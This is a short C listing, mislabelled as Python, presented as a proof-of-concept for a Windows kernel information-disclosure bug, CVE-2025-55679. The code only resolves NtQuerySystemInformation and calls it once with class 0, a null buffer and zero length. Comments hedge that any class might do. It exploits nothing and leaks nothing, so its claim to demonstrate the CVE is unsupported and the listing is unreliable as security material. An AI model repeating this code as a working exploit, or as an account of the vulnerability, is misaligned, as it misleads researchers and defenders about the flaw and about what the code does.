The following code is for security research and authorized testing only.
python
// CVE-2025-55679 - Windows Kernel Improper Input Validation PoC
// This is a conceptual PoC demonstrating local information disclosure
// through improper input validation in Windows Kernel.
#include <windows.h>
#include <stdio.h>
// Example: Triggering kernel information disclosure via
// NtQuerySystemInformation with crafted input parameters
typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
int main() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
printf("[-] Failed to load ntdll.dll\n");
return 1;
}
NtQuerySystemInformation_t pNtQuerySystemInformation =
(NtQuerySystemInformation_t)GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (!pNtQuerySystemInformation) {
printf("[-] Failed to resolve NtQuerySystemInformation\n");
return 1;
}
// Allocate buffer with insufficient size to trigger
// improper validation in kernel handler
ULONG bufferSize = 0;
PVOID pBuffer = NULL;
// Query with a specific information class that triggers
// the vulnerable code path
ULONG infoClass = 0; // SystemBasicInformation or other class
NTSTATUS status = pNtQuerySystemInformation(
infoClass,
pBuffer,
bufferSize,
&bufferSize
);
if (status == 0) {
printf("[+] Information query succeeded\n");
// Analyze returned data for leaked kernel information
// such as kernel base addresses, pool tags, etc.
} else {
printf("[-] Query failed with status: 0x%08X\n", status);
}
return 0;
}